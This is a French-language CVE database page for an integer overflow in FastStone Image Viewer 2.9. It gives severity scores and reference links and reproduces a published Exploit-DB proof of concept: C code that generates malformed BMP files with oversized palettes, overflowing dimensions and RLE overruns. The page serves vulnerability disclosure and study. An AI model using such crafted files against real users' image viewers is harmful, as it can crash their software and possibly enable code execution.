CVE-2007-1942 : Détail

CVE-2007-1942

0.75%V3
Network
2007-04-10
23h00 +00:00
2018-10-16
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Integer overflow in FastStone Image Viewer 2.9 allows context-dependent attackers to cause a denial of service and possibly execute arbitrary code via a crafted BMP image, as demonstrated by wh3intof.bmp and wh4intof.bmp.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 29816

Date de publication : 2007-04-03 22h00 +00:00
Auteur : Ivan Fratric
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/23312/info FastStone Image Viewer is prone to multiple denial-of-service vulnerabilities because the application fails to properly handle malformed BMP image files. Successfully exploiting these issues allows attackers to crash the affected application. Given the nature of these issues, attackers may also be able to run arbitrary code, but this has not been confirmed. FastStone Image Viewer 2.9 and 3.6 are affected. #include <stdio.h> #include <stdlib.h> #include <string.h> struct BITMAPFILEHEADER { unsigned int bfSize; unsigned int bfReserved; unsigned int bfOffBits; }; struct BITMAPINFOHEADER { unsigned int biSize; unsigned int biWidth; unsigned int biHeight; unsigned short biPlanes; unsigned short biBitCount; unsigned int biCompression; unsigned int biSizeImage; unsigned int biXPelsPerMeter; unsigned int biYPelsPerMeter; unsigned int biClrUsed; unsigned int biClrImportant; }; void writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) { BITMAPFILEHEADER fileheader; BITMAPINFOHEADER infoheader; memset(&fileheader,0,sizeof(BITMAPFILEHEADER)); memset(&infoheader,0,sizeof(BITMAPINFOHEADER)); unsigned char sig[2]; sig[0] = 'B'; sig[1] = 'M'; fileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes; fileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4; infoheader.biSize = 40; infoheader.biWidth = width; infoheader.biHeight = height; infoheader.biPlanes = 1; infoheader.biBitCount = bpp; infoheader.biCompression = compression; infoheader.biClrUsed = numpalettecolors; FILE *fp = fopen(filename,"wb"); fwrite(&sig,sizeof(sig),1,fp); fwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp); fwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp); if(palette) fwrite(palette,numpalettecolors*4,1,fp); fwrite(data,numdatabytes,1,fp); fclose(fp); } int main() { unsigned char * buf; buf = (unsigned char *)malloc(4000000); memset(buf,0,4000000); unsigned char * buf2; buf2 = (unsigned char *)malloc(4000000); memset(buf2,0,4000000); //overflows specifying too large palette writebmp("ok8bit.bmp",16,16,8,0,buf,256,buf,16*16); writebmp("paletteof1.bmp",16,16,8,0,buf,65535,buf,16*16); writebmp("paletteof2.bmp",16,16,8,0,buf,1000000,buf,16*16); //integer overflows with image dimensions writebmp("ok24bit.bmp",16,16,24,0,NULL,0,buf,16*16*4); writebmp("wh4intof.bmp",32769,32768,24,0,NULL,0,buf,4000000); writebmp("wh3intof.bmp",37838,37838,24,0,NULL,0,buf,4000000); writebmp("w4intof.bmp",1073741825,1,24,0,NULL,0,buf,4000000); writebmp("w3intof.bmp",1431655767,1,24,0,NULL,0,buf,4000000); //overflows with RLE encoded BMPs buf2[0]=16; buf2[1]=0; writebmp("okRLE.bmp",16,1,8,1,buf,256,buf2,2); for(long i=0;i<500000;i++) { buf2[i*2]=255; buf2[i*2+1]=0; } writebmp("rle8of1.bmp",16,1,8,1,buf,256,buf2,1000000); buf2[0]=15; buf2[1]=0; for(long i=1;i<500000;i++) { buf2[i*2]=255; buf2[i*2+1]=0; } writebmp("rle8of2.bmp",16,1,8,1,buf,256,buf2,1000000); memset(buf2,0,4000000); buf2[0]=0; buf2[1]=2; buf2[2]=255; buf2[3]=0; for(long i=4;i<100000-1;) { buf2[i]=0; buf2[i+1]=254; i+=255; } writebmp("rle8of3.bmp",16,1,8,1,buf,256,buf2,1000000); memset(buf2,0,4000000); for(long i=0;i<100000-1;) { buf2[i]=0; buf2[i+1]=254; i+=255; } writebmp("rle8of4.bmp",16,1,8,1,buf,256,buf2,1000000); }

Products Mentioned

Configuraton 0

Faststone>>Image_viewer >> Version 2.9

Références

http://www.securityfocus.com/bid/23312
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/24784
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/2558
Tags : third-party-advisory, x_refsource_SREASON
http://osvdb.org/34664
Tags : vdb-entry, x_refsource_OSVDB